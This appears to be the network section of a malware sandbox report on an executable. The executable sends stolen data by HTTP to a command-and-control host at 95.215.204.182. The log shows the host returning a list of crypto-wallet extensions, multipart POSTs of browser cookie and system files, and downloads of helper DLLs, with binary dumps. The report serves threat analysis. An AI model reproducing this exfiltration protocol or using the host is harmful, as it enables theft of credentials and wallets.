38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 7, 2024 17:25:11.875756979 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 7, 2024 17:25:11.875767946 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 7, 2024 17:25:11.875845909 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 7, 2024 17:25:11.875857115 CET	848	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 7, 2024 17:25:11.875974894 CET	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Nov 7, 2024 17:25:11.875991106 CET	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Nov 7, 2024 17:25:11.877846003 CET	469	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBKEGHJKEBFHJDBFC Host: 95.215.204.182 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 4b 45 47 48 4a 4b 45 42 46 48 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------CAAEBKEGHJKEBFHJDBFCContent-Disposition: form-data; name="message"fplugins------CAAEBKEGHJKEBFHJDBFC--
Nov 7, 2024 17:25:12.125370979 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 7, 2024 17:25:12.150115013 CET	202	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKEHJEGCFBFHJJKJEHD Host: 95.215.204.182 Content-Length: 5307 Connection: Keep-Alive Cache-Control: no-cache
Nov 7, 2024 17:25:12.150115013 CET	5307	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 45 48 4a 45 47 43 46 42 46 48 4a 4a 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 Data Ascii: ------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------FBKEHJEGCFBFHJJKJEHDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 7, 2024 17:25:12.650806904 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 17:25:12.906004906 CET	93	OUT	GET /dcace648038981df/sqlite3.dll HTTP/1.1 Host: 95.215.204.182 Cache-Control: no-cache
Nov 7, 2024 17:25:13.135445118 CET	93	OUT	GET /dcace648038981df/sqlite3.dll HTTP/1.1 Host: 95.215.204.182 Cache-Control: no-cache
Nov 7, 2024 17:25:13.447995901 CET	93	OUT	GET /dcace648038981df/sqlite3.dll HTTP/1.1 Host: 95.215.204.182 Cache-Control: no-cache
Nov 7, 2024 17:25:14.179651022 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 7, 2024 17:25:14.179666996 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 7, 2024 17:25:14.179677963 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49829	95.215.204.182	80	7160	C:\Users\user\Desktop\vMRlWtVCEN.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 17:25:28.156577110 CET	628	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEHDBGDHDAECBGDHJKFI Host: 95.215.204.182 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IEHDBGDHDAECBGDHJKFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IEHDBGDHDAECBGDHJKFI--
Nov 7, 2024 17:25:29.547790051 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 17:25:29.690443993 CET	564	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBGIJEHIIDGCFHIEGDGC Host: 95.215.204.182 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 47 49 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBGIJEHIIDGCFHIEGDGCContent-Disposition: form-data; name="file"------DBGIJEHIIDGCFHIEGDGC--
Nov 7, 2024 17:25:30.155551910 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49911	95.215.204.182	80	7160	C:\Users\user\Desktop\vMRlWtVCEN.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 17:25:38.418589115 CET	202	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFIJEBFCGDAAKFHIDBF Host: 95.215.204.182 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 7, 2024 17:25:38.418674946 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 49 4a 45 42 46 43 47 44 41 41 4b 46 48 49 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 Data Ascii: ------FCFIJEBFCGDAAKFHIDBFContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------FCFIJEBFCGDAAKFHIDBFContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 7, 2024 17:25:39.469732046 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 17:25:39.610994101 CET	564	OUT	POST /4d3324bde875e159.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFCGIJDAFBKFIECBGCA Host: 95.215.204.182 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 38 35 36 31 38 37 36 39 65 64 63 30 38 64 62 61 38 37 64 39 30 39 65 30 33 38 64 37 32 32 37 31 65 63 61 62 33 65 30 30 30 65 32 66 66 33 37 39 37 61 39 30 31 39 33 66 61 30 32 65 64 35 33 66 31 64 64 34 66 66 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="token"785618769edc08dba87d909e038d72271ecab3e000e2ff3797a90193fa02ed53f1dd4ffa------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAFCGIJDAFBKFIECBGCAContent-Disposition: form-data; name="file"------BAFCGIJDAFBKFIECBGCA--
Nov 7, 2024 17:25:40.059808016 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 17:25:40.908716917 CET	93	OUT	GET /dcace648038981df/freebl3.dll HTTP/1.1 Host: 95.215.204.182 Cache-Control: no-cache
Nov 7, 2024 17:25:41.141289949 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 7, 2024 17:25:41.141412020 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]
Nov 7, 2024 17:25:41.141423941 CET	1236	IN	Data Raw: cc cc cc cc 55 89 e5 53 57 56 68 4f 01 00 00 e8 3f 0b 08 00 83 c4 04 85 c0 74 30 89 c7 89 80 38 01 00 00 83 c7 0f 31 f6 83 e7 f0 74 6b 8b 45 14 8b 55 10 8b 5d 0c 8b 4d 08 85 db 74 1f f2 0f 10 03 f2 0f 11 87 30 01 00 00 eb 25 68 13 e0 ff ff e8 f2 Data Ascii: USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8^_[]UWVut }jVt8h^_]USWVPL$,M01D$H
Nov 7, 2024 17:25:41.141552925 CET	1236	IN	Data Raw: 0c 89 c1 c1 e9 18 89 4c 24 10 c7 44 24 1c 00 00 00 00 89 44 24 08 c7 44 24 24 00 00 00 00 c7 44 24 20 00 00 00 00 31 d2 31 c9 89 5c 24 28 eb 24 89 c7 8b 44 24 1c 83 c0 01 83 f8 06 8b 54 24 18 8b 4c 24 14 0f 84 e2 01 00 00 89 44 24 1c 8a 44 24 07 Data Ascii: L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$ L$$\$\$T$1%1%1T$D\|$@\|$t\$
Nov 7, 2024 17:25:41.141566992 CET	1236	IN	Data Raw: 89 d9 0f b6 5d e7 09 d8 89 4d d4 29 c1 09 ca c1 fa 1f f7 db 83 e3 07 31 ff 39 d9 f7 d2 0f 44 fa 89 45 d0 89 45 dc 89 ca f7 da c1 fa 1f f7 d2 8b 45 1c 80 7c 30 f7 01 19 db 09 d3 b8 01 00 00 00 29 c8 c1 f8 1f 8b 55 1c 80 7c 32 f6 01 19 d2 f7 d0 09 Data Ascii: ]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)U\|2)\|2!!)M\|1t/E
